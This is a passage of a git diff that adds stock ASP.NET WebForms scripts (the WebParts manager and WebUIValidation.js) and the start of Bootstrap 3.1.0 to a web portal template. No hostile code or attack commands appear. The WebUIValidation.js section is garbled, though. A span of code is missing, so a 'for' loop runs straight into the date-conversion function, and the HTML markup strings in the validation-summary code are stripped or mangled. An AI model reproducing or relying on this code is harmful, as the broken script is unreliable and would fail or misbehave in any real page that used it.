"undefined") && (menu != null)) { + menu.Unhover(); + } +} +function WebPartManager() { + this.overlayContainerElement = null; + this.zones = new Array(); + this.dragState = null; + this.menu = null; + this.draggedWebPart = null; + this.AddZone = WebPartManager_AddZone; + this.IsDragDropEnabled = WebPartManager_IsDragDropEnabled; + this.DragDrop = WebPartManager_DragDrop; + this.InitiateWebPartDragDrop = WebPartManager_InitiateWebPartDragDrop; + this.CompleteWebPartDragDrop = WebPartManager_CompleteWebPartDragDrop; + this.ContinueWebPartDragDrop = WebPartManager_ContinueWebPartDragDrop; + this.ProcessWebPartDragEnter = WebPartManager_ProcessWebPartDragEnter; + this.ProcessWebPartDragOver = WebPartManager_ProcessWebPartDragOver; + this.ProcessWebPartDrop = WebPartManager_ProcessWebPartDrop; + this.ShowHelp = WebPartManager_ShowHelp; + this.ExportWebPart = WebPartManager_ExportWebPart; + this.Execute = WebPartManager_Execute; + this.SubmitPage = WebPartManager_SubmitPage; + this.UpdatePositions = WebPartManager_UpdatePositions; + window.attachEvent("onunload", WebPartManager_Dispose); +} +function WebPartManager_Dispose() { + for (var i = 0; i < __wpm.zones.length; i++) { + __wpm.zones[i].Dispose(); + } + window.detachEvent("onunload", WebPartManager_Dispose); +} +function WebPartManager_AddZone(zoneElement, uniqueID, isVertical, allowLayoutChange, highlightColor) { + var zoneIndex = this.zones.length; + var zone = new Zone(zoneElement, zoneIndex, uniqueID, isVertical, allowLayoutChange, highlightColor); + this.zones[zoneIndex] = zone; + return zone; +} +function WebPartManager_IsDragDropEnabled() { + return ((typeof(this.overlayContainerElement) != "undefined") && (this.overlayContainerElement != null)); +} +function WebPartManager_DragDrop() { + if ((typeof(this.draggedWebPart) != "undefined") && (this.draggedWebPart != null)) { + var tempWebPart = this.draggedWebPart; + this.draggedWebPart = null; + tempWebPart.dragDrop(); + window.setTimeout("__wpClearSelection()", 0); + } +} +function WebPartManager_InitiateWebPartDragDrop(webPartElement) { + var webPart = webPartElement.__webPart; + this.UpdatePositions(); + this.dragState = new WebPartDragState(webPartElement, "move"); + var location = __wpGetPageEventLocation(window.event, true); + var overlayContainerElement = this.overlayContainerElement; + overlayContainerElement.style.left = location.x - webPartElement.offsetWidth / 2; + overlayContainerElement.style.top = location.y + 4 + (webPartElement.clientTop ? webPartElement.clientTop : 0); + overlayContainerElement.style.display = "block"; + overlayContainerElement.style.width = webPartElement.offsetWidth; + overlayContainerElement.style.height = webPartElement.offsetHeight; + overlayContainerElement.appendChild(webPartElement.cloneNode(true)); + if (webPart.allowZoneChange == false) { + webPart.zone.allowDrop = true; + } + else { + for (var i = 0; i < __wpm.zones.length; i++) { + var zone = __wpm.zones[i]; + if (zone.allowLayoutChange) { + zone.allowDrop = true; + } + } + } + document.body.attachEvent("ondragover", Zone_OnDragOver); + return "move"; +} +function WebPartManager_CompleteWebPartDragDrop() { + var dragState = this.dragState; + this.dragState = null; + if ((typeof(dragState.dropZoneElement) != "undefined") && (dragState.dropZoneElement != null)) { + dragState.dropZoneElement.__zone.ToggleDropCues(false, dragState.dropIndex, false); + } + document.body.detachEvent("ondragover", Zone_OnDragOver); + for (var i = 0; i < __wpm.zones.length; i++) { + __wpm.zones[i].allowDrop = false; + } + this.overlayContainerElement.removeChild(this.overlayContainerElement.firstChild); + this.overlayContainerElement.style.display = "none"; + if ((typeof(dragState) != "undefined") && (dragState != null) && (dragState.dropped == true)) { + var currentZone = dragState.webPartElement.__webPart.zone; + var currentZoneIndex = dragState.webPartElement.__webPart.zoneIndex; + if ((currentZone != dragState.dropZoneElement.__zone) || + ((currentZoneIndex != dragState.dropIndex) && + (currentZoneIndex != (dragState.dropIndex - 1)))) { + var eventTarget = dragState.dropZoneElement.__zone.uniqueID; + var eventArgument = "Drag:" + dragState.webPartElement.id + ":" + dragState.dropIndex; + this.SubmitPage(eventTarget, eventArgument); + } + } +} +function WebPartManager_ContinueWebPartDragDrop() { + var dragState = this.dragState; + if ((typeof(dragState) != "undefined") && (dragState != null)) { + var style = this.overlayContainerElement.style; + var location = __wpGetPageEventLocation(window.event, true); + style.left = location.x - dragState.webPartElement.offsetWidth / 2; + style.top = location.y + 4 + (dragState.webPartElement.clientTop ? dragState.webPartElement.clientTop : 0); + } +} +function WebPartManager_Execute(script) { + if (this.menu) { + this.menu.Hide(); + } + var scriptReference = new Function(script); + return (scriptReference() != false); +} +function WebPartManager_ProcessWebPartDragEnter() { + var dragState = __wpm.dragState; + if ((typeof(dragState) != "undefined") && (dragState != null)) { + var currentEvent = window.event; + var newDropZoneElement = Zone_GetParentZoneElement(currentEvent.srcElement); + if ((typeof(newDropZoneElement.__zone) == "undefined") || (newDropZoneElement.__zone == null) || + (newDropZoneElement.__zone.allowDrop == false)) { + newDropZoneElement = null; + } + var newDropIndex = -1; + if ((typeof(newDropZoneElement) != "undefined") && (newDropZoneElement != null)) { + newDropIndex = newDropZoneElement.__zone.GetWebPartIndex(__wpGetPageEventLocation(currentEvent, false)); + if (newDropIndex == -1) { + newDropZoneElement = null; + } + } + if (dragState.dropZoneElement != newDropZoneElement) { + if ((typeof(dragState.dropZoneElement) != "undefined") && (dragState.dropZoneElement != null)) { + dragState.dropZoneElement.__zone.ToggleDropCues(false, dragState.dropIndex, false); + } + dragState.dropZoneElement = newDropZoneElement; + dragState.dropIndex = newDropIndex; + if ((typeof(newDropZoneElement) != "undefined") && (newDropZoneElement != null)) { + newDropZoneElement.__zone.ToggleDropCues(true, newDropIndex, false); + } + } + else if (dragState.dropIndex != newDropIndex) { + if (dragState.dropIndex != -1) { + dragState.dropZoneElement.__zone.ToggleDropCues(false, dragState.dropIndex, false); + } + dragState.dropIndex = newDropIndex; + if ((typeof(newDropZoneElement) != "undefined") && (newDropZoneElement != null)) { + newDropZoneElement.__zone.ToggleDropCues(true, newDropIndex, false); + } + } + if ((typeof(dragState.dropZoneElement) != "undefined") && (dragState.dropZoneElement != null)) { + currentEvent.dataTransfer.effectAllowed = dragState.effect; + } + return true; + } + return false; +} +function WebPartManager_ProcessWebPartDragOver() { + var dragState = __wpm.dragState; + var currentEvent = window.event; + var handled = false; + if ((typeof(dragState) != "undefined") && (dragState != null) && + (typeof(dragState.dropZoneElement) != "undefined") && (dragState.dropZoneElement != null)) { + var dropZoneElement = Zone_GetParentZoneElement(currentEvent.srcElement); + if ((typeof(dropZoneElement) != "undefined") && (dropZoneElement != null) && (dropZoneElement.__zone.allowDrop == false)) { + dropZoneElement = null; + } + if (((typeof(dropZoneElement) == "undefined") || (dropZoneElement == null)) && + (typeof(dragState.dropZoneElement) != "undefined") && (dragState.dropZoneElement != null)) { + dragState.dropZoneElement.__zone.ToggleDropCues(false, __wpm.dragState.dropIndex, false); + dragState.dropZoneElement = null; + dragState.dropIndex = -1; + } + else if ((typeof(dropZoneElement) != "undefined") && (dropZoneElement != null)) { + var location = __wpGetPageEventLocation(currentEvent, false); + var newDropIndex = dropZoneElement.__zone.GetWebPartIndex(location); + if (newDropIndex == -1) { + dropZoneElement = null; + } + if (dragState.dropZoneElement != dropZoneElement) { + if ((dragState.dropIndex != -1) || (typeof(dropZoneElement) == "undefined") || (dropZoneElement == null)) { + dragState.dropZoneElement.__zone.ToggleDropCues(false, __wpm.dragState.dropIndex, false); + } + dragState.dropZoneElement = dropZoneElement; + } + else { + dragState.dropZoneElement.__zone.ToggleDropCues(false, dragState.dropIndex, true); + } + dragState.dropIndex = newDropIndex; + if ((typeof(dropZoneElement) != "undefined") && (dropZoneElement != null)) { + dropZoneElement.__zone.ToggleDropCues(true, newDropIndex, false); + } + } + handled = true; + } + if ((typeof(dragState) == "undefined") || (dragState == null) || + (typeof(dragState.dropZoneElement) == "undefined") || (dragState.dropZoneElement == null)) { + currentEvent.dataTransfer.effectAllowed = "none"; + } + return handled; +} +function WebPartManager_ProcessWebPartDrop() { + var dragState = this.dragState; + if ((typeof(dragState) != "undefined") && (dragState != null)) { + var currentEvent = window.event; + var dropZoneElement = Zone_GetParentZoneElement(currentEvent.srcElement); + if ((typeof(dropZoneElement) != "undefined") && (dropZoneElement != null) && (dropZoneElement.__zone.allowDrop == false)) { + dropZoneElement = null; + } + if ((typeof(dropZoneElement) != "undefined") && (dropZoneElement != null) && (dragState.dropZoneElement == dropZoneElement)) { + dragState.dropped = true; + } + return true; + } + return false; +} +function WebPartManager_ShowHelp(helpUrl, helpMode) { + if ((typeof(this.menu) != "undefined") && (this.menu != null)) { + this.menu.Hide(); + } + if (helpMode == 0 || helpMode == 1) { + if (helpMode == 0) { + var dialogInfo = "edge: Sunken; center: yes; help: no; resizable: yes; status: no"; + window.showModalDialog(helpUrl, null, dialogInfo); + } + else { + window.open(helpUrl, null, "scrollbars=yes,resizable=yes,status=no,toolbar=no,menubar=no,location=no"); + } + } + else if (helpMode == 2) { + window.location = helpUrl; + } +} +function WebPartManager_ExportWebPart(exportUrl, warn, confirmOnly) { + if (warn == true && __wpmExportWarning.length > 0 && this.personalizationScopeShared != true) { + if (confirm(__wpmExportWarning) == false) { + return false; + } + } + if (confirmOnly == false) { + window.location = exportUrl; + } + return true; +} +function WebPartManager_UpdatePositions() { + for (var i = 0; i < this.zones.length; i++) { + this.zones[i].UpdatePosition(); + } +} +function WebPartManager_SubmitPage(eventTarget, eventArgument) { + if ((typeof(this.menu) != "undefined") && (this.menu != null)) { + this.menu.Hide(); + } + __doPostBack(eventTarget, eventArgument); +} diff --git a/templates/www/portal/Scripts/WebForms/WebUIValidation.js b/templates/www/portal/Scripts/WebForms/WebUIValidation.js new file mode 100644 index 0000000..9e8f0eb --- /dev/null +++ b/templates/www/portal/Scripts/WebForms/WebUIValidation.js @@ -0,0 +1,684 @@ +//CdnPath=http://ajax.aspnetcdn.com/ajax/4.5.1/1/WebUIValidation.js +var Page_ValidationVer = "125"; +var Page_IsValid = true; +var Page_BlockSubmit = false; +var Page_InvalidControlToBeFocused = null; +var Page_TextTypes = /^(text|password|file|search|tel|url|email|number|range|color|datetime|date|month|week|time|datetime-local)$/i; +function ValidatorUpdateDisplay(val) { + if (typeof(val.display) == "string") { + if (val.display == "None") { + return; + } + if (val.display == "Dynamic") { + val.style.display = val.isvalid ? "none" : "inline"; + return; + } + } + if ((navigator.userAgent.indexOf("Mac") > -1) && + (navigator.userAgent.indexOf("MSIE") > -1)) { + val.style.display = "inline"; + } + val.style.visibility = val.isvalid ? "hidden" : "visible"; +} +function ValidatorUpdateIsValid() { + Page_IsValid = AllValidatorsValid(Page_Validators); +} +function AllValidatorsValid(validators) { + if ((typeof(validators) != "undefined") && (validators != null)) { + var i; + for (i = 0; i < validators.length; i++) { + if (!validators[i].isvalid) { + return false; + } + } + } + return true; +} +function ValidatorHookupControlID(controlID, val) { + if (typeof(controlID) != "string") { + return; + } + var ctrl = document.getElementById(controlID); + if ((typeof(ctrl) != "undefined") && (ctrl != null)) { + ValidatorHookupControl(ctrl, val); + } + else { + val.isvalid = true; + val.enabled = false; + } +} +function ValidatorHookupControl(control, val) { + if (typeof(control.tagName) != "string") { + return; + } + if (control.tagName != "INPUT" && control.tagName != "TEXTAREA" && control.tagName != "SELECT") { + var i; + for (i = 0; i < control.childNodes.length; i++) { + ValidatorHookupControl(control.childNodes[i], val); + } + return; + } + else { + if (typeof(control.Validators) == "undefined") { + control.Validators = new Array; + var eventType; + if (control.type == "radio") { + eventType = "onclick"; + } else { + eventType = "onchange"; + if (typeof(val.focusOnError) == "string" && val.focusOnError == "t") { + ValidatorHookupEvent(control, "onblur", "ValidatedControlOnBlur(event); "); + } + } + ValidatorHookupEvent(control, eventType, "ValidatorOnChange(event); "); + if (Page_TextTypes.test(control.type)) { + ValidatorHookupEvent(control, "onkeypress", + "event = event || window.event; if (!ValidatedTextBoxOnKeyPress(event)) { event.cancelBubble = true; if (event.stopPropagation) event.stopPropagation(); return false; } "); + } + } + control.Validators[control.Validators.length] = val; + } +} +function ValidatorHookupEvent(control, eventType, functionPrefix) { + var ev = control[eventType]; + if (typeof(ev) == "function") { + ev = ev.toString(); + ev = ev.substring(ev.indexOf("{") + 1, ev.lastIndexOf("}")); + } + else { + ev = ""; + } + control[eventType] = new Function("event", functionPrefix + " " + ev); +} +function ValidatorGetValue(id) { + var control; + control = document.getElementById(id); + if (typeof(control.value) == "string") { + return control.value; + } + return ValidatorGetValueRecursive(control); +} +function ValidatorGetValueRecursive(control) +{ + if (typeof(control.value) == "string" && (control.type != "radio" || control.checked == true)) { + return control.value; + } + var i, val; + for (i = 0; i twoDigitCutoffYear) ? (cutoffYearCentury - 100 + year) : (cutoffYearCentury + year)); + } + var num, cleanInput, m, exp; + if (dataType == "Integer") { + exp = /^\s*[-\+]?\d+\s*$/; + if (op.match(exp) == null) + return null; + num = parseInt(op, 10); + return (isNaN(num) ? null : num); + } + else if(dataType == "Double") { + exp = new RegExp("^\\s*([-\\+])?(\\d*)\\" + val.decimalchar + "?(\\d*)\\s*$"); + m = op.match(exp); + if (m == null) + return null; + if (m[2].length == 0 && m[3].length == 0) + return null; + cleanInput = (m[1] != null ? m[1] : "") + (m[2].length>0 ? m[2] : "0") + (m[3].length>0 ? "." + m[3] : ""); + num = parseFloat(cleanInput); + return (isNaN(num) ? null : num); + } + else if (dataType == "Currency") { + var hasDigits = (val.digits > 0); + var beginGroupSize, subsequentGroupSize; + var groupSizeNum = parseInt(val.groupsize, 10); + if (!isNaN(groupSizeNum) && groupSizeNum > 0) { + beginGroupSize = "{1," + groupSizeNum + "}"; + subsequentGroupSize = "{" + groupSizeNum + "}"; + } + else { + beginGroupSize = subsequentGroupSize = "+"; + } + exp = new RegExp("^\\s*([-\\+])?((\\d" + beginGroupSize + "(\\" + val.groupchar + "\\d" + subsequentGroupSize + ")+)|\\d*)" + + (hasDigits ? "\\" + val.decimalchar + "?(\\d{0," + val.digits + "})" : "") + + "\\s*$"); + m = op.match(exp); + if (m == null) + return null; + if (m[2].length == 0 && hasDigits && m[5].length == 0) + return null; + cleanInput = (m[1] != null ? m[1] : "") + m[2].replace(new RegExp("(\\" + val.groupchar + ")", "g"), "") + ((hasDigits && m[5].length > 0) ? "." + m[5] : ""); + num = parseFloat(cleanInput); + return (isNaN(num) ? null : num); + } + else if (dataType == "Date") { + var yearFirstExp = new RegExp("^\\s*((\\d{4})|(\\d{2}))([-/]|\\. ?)(\\d{1,2})\\4(\\d{1,2})\\.?\\s*$"); + m = op.match(yearFirstExp); + var day, month, year; + if (m != null && (((typeof(m[2]) != "undefined") && (m[2].length == 4)) || val.dateorder == "ymd")) { + day = m[6]; + month = m[5]; + year = (m[2].length == 4) ? m[2] : GetFullYear(parseInt(m[3], 10)); + } + else { + if (val.dateorder == "ymd"){ + return null; + } + var yearLastExp = new RegExp("^\\s*(\\d{1,2})([-/]|\\. ?)(\\d{1,2})(?:\\s|\\2)((\\d{4})|(\\d{2}))(?:\\s\u0433\\.|\\.)?\\s*$"); + m = op.match(yearLastExp); + if (m == null) { + return null; + } + if (val.dateorder == "mdy") { + day = m[3]; + month = m[1]; + } + else { + day = m[1]; + month = m[3]; + } + year = ((typeof(m[5]) != "undefined") && (m[5].length == 4)) ? m[5] : GetFullYear(parseInt(m[6], 10)); + } + month -= 1; + var date = new Date(year, month, day); + if (year < 100) { + date.setFullYear(year); + } + return (typeof(date) == "object" && year == date.getFullYear() && month == date.getMonth() && day == date.getDate()) ? date.valueOf() : null; + } + else { + return op.toString(); + } +} +function ValidatorCompare(operand1, operand2, operator, val) { + var dataType = val.type; + var op1, op2; + if ((op1 = ValidatorConvert(operand1, dataType, val)) == null) + return false; + if (operator == "DataTypeCheck") + return true; + if ((op2 = ValidatorConvert(operand2, dataType, val)) == null) + return true; + switch (operator) { + case "NotEqual": + return (op1 != op2); + case "GreaterThan": + return (op1 > op2); + case "GreaterThanEqual": + return (op1 >= op2); + case "LessThan": + return (op1 < op2); + case "LessThanEqual": + return (op1 <= op2); + default: + return (op1 == op2); + } +} +function CompareValidatorEvaluateIsValid(val) { + var value = ValidatorGetValue(val.controltovalidate); + if (ValidatorTrim(value).length == 0) + return true; + var compareTo = ""; + if ((typeof(val.controltocompare) != "string") || + (typeof(document.getElementById(val.controltocompare)) == "undefined") || + (null == document.getElementById(val.controltocompare))) { + if (typeof(val.valuetocompare) == "string") { + compareTo = val.valuetocompare; + } + } + else { + compareTo = ValidatorGetValue(val.controltocompare); + } + var operator = "Equal"; + if (typeof(val.operator) == "string") { + operator = val.operator; + } + return ValidatorCompare(value, compareTo, operator, val); +} +function CustomValidatorEvaluateIsValid(val) { + var value = ""; + if (typeof(val.controltovalidate) == "string") { + value = ValidatorGetValue(val.controltovalidate); + if ((ValidatorTrim(value).length == 0) && + ((typeof(val.validateemptytext) != "string") || (val.validateemptytext != "true"))) { + return true; + } + } + var args = { Value:value, IsValid:true }; + if (typeof(val.clientvalidationfunction) == "string") { + eval(val.clientvalidationfunction + "(val, args) ;"); + } + return args.IsValid; +} +function RegularExpressionValidatorEvaluateIsValid(val) { + var value = ValidatorGetValue(val.controltovalidate); + if (ValidatorTrim(value).length == 0) + return true; + var rx = new RegExp(val.validationexpression); + var matches = rx.exec(value); + return (matches != null && value == matches[0]); +} +function ValidatorTrim(s) { + var m = s.match(/^\s*(\S+(\s+\S+)*)\s*$/); + return (m == null) ? "" : m[1]; +} +function RequiredFieldValidatorEvaluateIsValid(val) { + return (ValidatorTrim(ValidatorGetValue(val.controltovalidate)) != ValidatorTrim(val.initialvalue)) +} +function RangeValidatorEvaluateIsValid(val) { + var value = ValidatorGetValue(val.controltovalidate); + if (ValidatorTrim(value).length == 0) + return true; + return (ValidatorCompare(value, val.minimumvalue, "GreaterThanEqual", val) && + ValidatorCompare(value, val.maximumvalue, "LessThanEqual", val)); +} +function ValidationSummaryOnSubmit(validationGroup) { + if (typeof(Page_ValidationSummaries) == "undefined") + return; + var summary, sums, s; + var headerSep, first, pre, post, end; + for (sums = 0; sums < Page_ValidationSummaries.length; sums++) { + summary = Page_ValidationSummaries[sums]; + if (!summary) continue; + summary.style.display = "none"; + if (!Page_IsValid && IsValidationGroupMatch(summary, validationGroup)) { + var i; + if (summary.showsummary != "False") { + summary.style.display = ""; + if (typeof(summary.displaymode) != "string") { + summary.displaymode = "BulletList"; + } + switch (summary.displaymode) { + case "List": + headerSep = "
    "; + first = ""; + pre = ""; + post = "
    "; + end = ""; + break; + case "BulletList": + default: + headerSep = ""; + first = "
      "; + pre = "
    • "; + post = "
    • "; + end = "
    "; + break; + case "SingleParagraph": + headerSep = " "; + first = ""; + pre = ""; + post = " "; + end = "
    "; + break; + } + s = ""; + if (typeof(summary.headertext) == "string") { + s += summary.headertext + headerSep; + } + s += first; + for (i=0; i= 0) { + Page_Validators.splice(index, 1); + } + } + function addNormalizedAttribute(name, normalizedName) { + normalizedAttributes[name.toLowerCase()] = normalizedName; + } + function parseSpecificAttribute(selector, attribute, validatorsArray) { + return $(selector).find("[" + attribute + "='true']").each(function (index, element) { + addValidationExpando(element); + element.dispose = function () { dispose(element); element.dispose = null; }; + if ($.inArray(element, validatorsArray) === -1) { + validatorsArray.push(element); + } + }).length; + } + function parse(selector) { + var length = parseSpecificAttribute(selector, dataValidationAttribute, Page_Validators); + length += parseSpecificAttribute(selector, dataValidationSummaryAttribute, Page_ValidationSummaries); + return length; + } + function loadValidators() { + if (typeof (ValidatorOnLoad) === "function") { + ValidatorOnLoad(); + } + if (typeof (ValidatorOnSubmit) === "undefined") { + window.ValidatorOnSubmit = function () { + return Page_ValidationActive ? ValidatorCommonOnSubmit() : true; + }; + } + } + function registerUpdatePanel() { + if (window.Sys && Sys.WebForms && Sys.WebForms.PageRequestManager) { + var prm = Sys.WebForms.PageRequestManager.getInstance(), + postBackElement, endRequestHandler; + if (prm.get_isInAsyncPostBack()) { + endRequestHandler = function (sender, args) { + if (parse(document)) { + loadValidators(); + } + prm.remove_endRequest(endRequestHandler); + endRequestHandler = null; + }; + prm.add_endRequest(endRequestHandler); + } + prm.add_beginRequest(function (sender, args) { + postBackElement = args.get_postBackElement(); + }); + prm.add_pageLoaded(function (sender, args) { + var i, panels, valFound = 0; + if (typeof (postBackElement) === "undefined") { + return; + } + panels = args.get_panelsUpdated(); + for (i = 0; i < panels.length; i++) { + valFound += parse(panels[i]); + } + panels = args.get_panelsCreated(); + for (i = 0; i < panels.length; i++) { + valFound += parse(panels[i]); + } + if (valFound) { + loadValidators(); + } + }); + } + } + $(function () { + if (typeof (Page_Validators) === "undefined") { + window.Page_Validators = []; + } + if (typeof (Page_ValidationSummaries) === "undefined") { + window.Page_ValidationSummaries = []; + } + if (typeof (Page_ValidationActive) === "undefined") { + window.Page_ValidationActive = false; + } + $.WebFormValidator = { + addNormalizedAttribute: addNormalizedAttribute, + parse: parse + }; + if (parse(document)) { + loadValidators(); + } + registerUpdatePanel(); + }); + } (jQuery)); +} \ No newline at end of file diff --git a/templates/www/portal/Scripts/bootstrap.js b/templates/www/portal/Scripts/bootstrap.js new file mode 100644 index 0000000..39ec471 --- /dev/null +++ b/templates/www/portal/Scripts/bootstrap.js @@ -0,0 +1,1951 @@ +/*! + * Bootstrap v3.1.0 (http://getbootstrap.com) + * Copyright 2011-2014 Twitter, Inc. + * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) + */ + +if (typeof jQuery === 'undefined') { throw new Error('Bootstrap requires jQuery') } + +/* ======================================================================== + * Bootstrap: transition.js v3.1.0 + * http://getbootstrap.com/javascript/#transitions + * ======================================================================== + * Copyright 2011-2014 Twitter, Inc. + * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) + * ======================================================================== */ + + ++function ($) { + 'use strict'; + + // CSS TRANSITION SUPPORT (Shoutout: http://www.modernizr.com/) + // ============================================================ + + function transitionEnd() { + var el = document.createElement('bootstrap') + + var transEndEventNames = { + 'WebkitTransition' : 'webkitTransitionEnd', + 'MozTransition' : 'transitionend', + 'OTransition' : 'oTransitionEnd otransitionend', + 'transition' : 'transitionend' + } + + for (var name in transEndEventNames) { + if (el.style[name] !== undefined) { + return { end: transEndEventNames[name] } + } + } + + return false // explicit for ie8 ( ._.) + } + + // http://blog.alexmaccaw.com/css-transitions + $.fn.emulateTransitionEnd = function (duration) { + var called = false, $el = this + $(this).one($.support.transition.end, function () { called = true }) + var callback = function () { if (!called) $($el).trigger($.support.transition.end) } + setTimeout(callback, duration) + return this + } + + $(function () { + $.support.transition = transitionEnd() + }) + +}(jQuery); + +/* ======================================================================== + * Bootstrap: alert.js v3.1.0 + * http://getbootstrap.com/javascript/#alerts + * ======================================================================== + * Copyright 2011-2014 Twitter, Inc. + * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) + * ======================================================================== */ + + ++function ($) { + 'use strict'; + + // ALERT CLASS DEFINITION + // ====================== + + var dismiss = '[data-dismiss="alert"]' + var Alert = function (el) { + $(el).on('click', dismiss, this.close) + } + + Alert.prototype.close = function (e) { + var $this = $(this) + var selector = $this.attr('data-target') + + if (!selector) { + selector = $this.attr('href') + selector = selector && selector.replace(/.*(?=#[^\s]*$)/, '') // strip for ie7 + } + + var $parent = $(selector) + + if (e) e.preventDefault() + + if (!$parent.length) { + $parent = $this.hasClass('alert') ? $this : $this.parent() + } + + $parent.trigger(e = $.Event('close.bs.alert')) + + if (e.isDefaultPrevented()) return + + $parent.removeClass('in') + + function removeElement() { + $parent.trigger('closed.bs.alert').remove() + } + + $.support.transition && $parent.hasClass('fade') ? + $parent + .one($.support.transition.end, removeElement) + .emulateTransitionEnd(150) : + removeElement() + } + + + // ALERT PLUGIN DEFINITION + // ======================= + + var old = $.fn.alert + + $.fn.alert = function (option) { + return this.each(function () { + var $this = $(this) + var data = $this.data('bs.alert') + + if (!data) $this.data('bs.alert', (data = new Alert(this))) + if (typeof option == 'string') data[option].call($this) + }) + } + + $.fn.alert.Constructor = Alert + + + // ALERT NO CONFLICT + // ================= + + $.fn.alert.noConflict = function () { + $.fn.alert = old + return this + } + + + // ALERT DATA-API + // ============== + + $(document).on('click.bs.alert.data-api', dismiss, Alert.prototype.close) + +}(jQuery); + +/* ======================================================================== + * Bootstrap: button.js v3.1.0 + * http://getbootstrap.com/javascript/#buttons + * ======================================================================== + * Copyright 2011-2014 Twitter, Inc. + * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) + * ======================================================================== */ + + ++function ($) { + 'use strict'; + + // BUTTON PUBLIC CLASS DEFINITION + // ============================== + + var Button = function (element, options) { + this.$element = $(element) + this.options = $.extend({}, Button.DEFAULTS, options) + this.isLoading = false + } + + Button.DEFAULTS = { + loadingText: 'loading...' + } + + Button.prototype.setState = function (state) { + var d = 'disabled' + var $el = this.$element + var val = $el.is('input') ? 'val' : 'html' + var data = $el.data() + + state = state + 'Text' + + if (!data.resetText) $el.data('resetText', $el[val]()) + + $el[val](data[state] || this.options[state]) + + // push to event loop to allow forms to submit + setTimeout($.proxy(function () { + if (state == 'loadingText') { + this.isLoading = true + $el.addClass(d).attr(d, d) + } else if (this.isLoading) { + this.isLoading = false + $el.removeClass(d).removeAttr(d) + } + }, this), 0) + } + + Button.prototype.toggle = function () { + var changed = true + var $parent = this.$element.closest('[data-toggle="buttons"]') + + if ($parent.length) { + var $input = this.$element.find('input') + if ($input.prop('type') == 'radio') { + if ($input.prop('checked') && this.$element.hasClass('active')) changed = false + else $parent.find('.active').removeClass('active') + } + if (changed) $input.prop('checked', !this.$element.hasClass('active')).trigger('change') + } + + if (changed) this.$element.toggleClass('active') + } + + + // BUTTON PLUGIN DEFINITION + // ======================== + + var old = $.fn.button + + $.fn.button = function (option) { + return this.each(function () { + var $this = $(this) + var data = $this.data('bs.button') + var options = typeof option == 'object' && option + + if (!data) $this.data('bs.button', (data = new Button(this, options))) + + if (option == 'toggle') data.toggle() + else if (option) data.setState(option) + }) + } + + $.fn.button.Constructor = Button + + + // BUTTON NO CONFLICT + // ================== + + $.fn.button.noConflict = function () { + $.fn.button = old + return this + } + + + // BUTTON DATA-API + // =============== + + $(document).on('click.bs.button.data-api', '[data-toggle^=button]', function (e) { + var $btn = $(e.target) + if (!$btn.hasClass('btn')) $btn = $btn.closest('.btn') + $btn.button('toggle') + e.preventDefault() + }) + +}(jQuery); + +/* ======================================================================== + * Bootstrap: carousel.js v3.1.0 + * http://getbootstrap.com/javascript/#carousel + * ======================================================================== + * Copyright 2011-2014 Twitter, Inc. + * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) + * ======================================================================== */ + + ++function ($) { + 'use strict'; + + // CAROUSEL CLASS DEFINITION + // ========================= + + var Carousel = function (element, options) { + this.$element = $(element) + this.$indicators = this.$element.find('.carousel-indicators') + this.options = options + this.paused = + this.sliding = + this.interval = + this.$active = + this.$items = null + + this.options.pause == 'hover' && this.$element + .on('mouseenter', $.proxy(this.pause, this)) + .on('mouseleave', $.proxy(this.cycle, this)) + } + + Carousel.DEFAULTS = { + interval: 5000, + pause: 'hover', + wrap: true + } + + Carousel.prototype.cycle = function (e) { + e || (this.paused = false) + + this.interval && clearInterval(this.interval) + + this.options.interval + && !this.paused + && (this.interval = setInterval($.proxy(this.next, this), this.options.interval)) + + return this + } + + Carousel.prototype.getActiveIndex = function () { + this.$active = this.$element.find('.item.active') + this.$items = this.$active.parent().children() + + return this.$items.index(this.$active) + } + + Carousel.prototype.to = function (pos) { + var that = this + var activeIndex = this.getActiveIndex() + + if (pos > (this.$items.length - 1) || pos < 0) return + + if (this.sliding) return this.$element.one('slid.bs.carousel', function () { that.to(pos) }) + if (activeIndex == pos) return this.pause().cycle() + + return this.slide(pos > activeIndex ? 'next' : 'prev', $(this.$items[pos])) + } + + Carousel.prototype.pause = function (e) { + e || (this.paused = true) + + if (this.$element.find('.next, .prev').length && $.support.transition) { + this.$element.trigger($.support.transition.end) + this.cycle(true) + } + + this.interval = clearInterval(this.interval) + + return this + } + + Carousel.prototype.next = function () { + if (this.sliding) return + return this.slide('next') + } + + Carousel.prototype.prev = function () { + if (this.sliding) return + return this.slide('prev') + } + + Carousel.prototype.slide = function (type, next) { + var $active = this.$element.find('.item.active') + var $next = next || $active[type]() + var isCycling = this.interval + var direction = type == 'next' ? 'left' : 'right' + var fallback = type == 'next' ? 'first' : 'last' + var that = this + + if (!$next.length) { + if (!this.options.wrap) return + $next = this.$element.find('.item')[fallback]() + } + + if ($next.hasClass('active')) return this.sliding = false + + var e = $.Event('slide.bs.carousel', { relatedTarget: $next[0], direction: direction }) + this.$element.trigger(e) + if (e.isDefaultPrevented()) return + + this.sliding = true + + isCycling && this.pause() + + if (this.$indicators.length) { + this.$indicators.find('.active').removeClass('active') + this.$element.one('slid.bs.carousel', function () { + var $nextIndicator = $(that.$indicators.children()[that.getActiveIndex()]) + $nextIndicator && $nextIndicator.addClass('active') + }) + } + + if ($.support.transition && this.$element.hasClass('slide')) { + $next.addClass(type) + $next[0].offsetWidth // force reflow + $active.addClass(direction) + $next.addClass(direction) + $active + .one($.support.transition.end, function () { + $next.removeClass([type, direction].join(' ')).addClass('active') + $active.removeClass(['active', direction].join(' ')) + that.sliding = false + setTimeout(function () { that.$element.trigger('slid.bs.carousel') }, 0) + }) + .emulateTransitionEnd($active.css('transition-duration').slice(0, -1) * 1000) + } else { + $active.removeClass('active') + $next.addClass('active') + this.sliding = false + this.$element.trigger('slid.bs.carousel') + } + + isCycling && this.cycle() + + return this + } + + + // CAROUSEL PLUGIN DEFINITION + // ========================== + + var old = $.fn.carousel + + $.fn.carousel = function (option) { + return this.each(function () { + var $this = $(this) + var data = $this.data('bs.carousel') + var options = $.extend({}, Carousel.DEFAULTS, $this.data(), typeof option == 'object' && option) + var action = typeof option == 'string' ? option : options.slide + + if (!data) $this.data('bs.carousel', (data = new Carousel(this, options))) + if (typeof option == 'number') data.to(option) + else if (action) data[action]() + else if 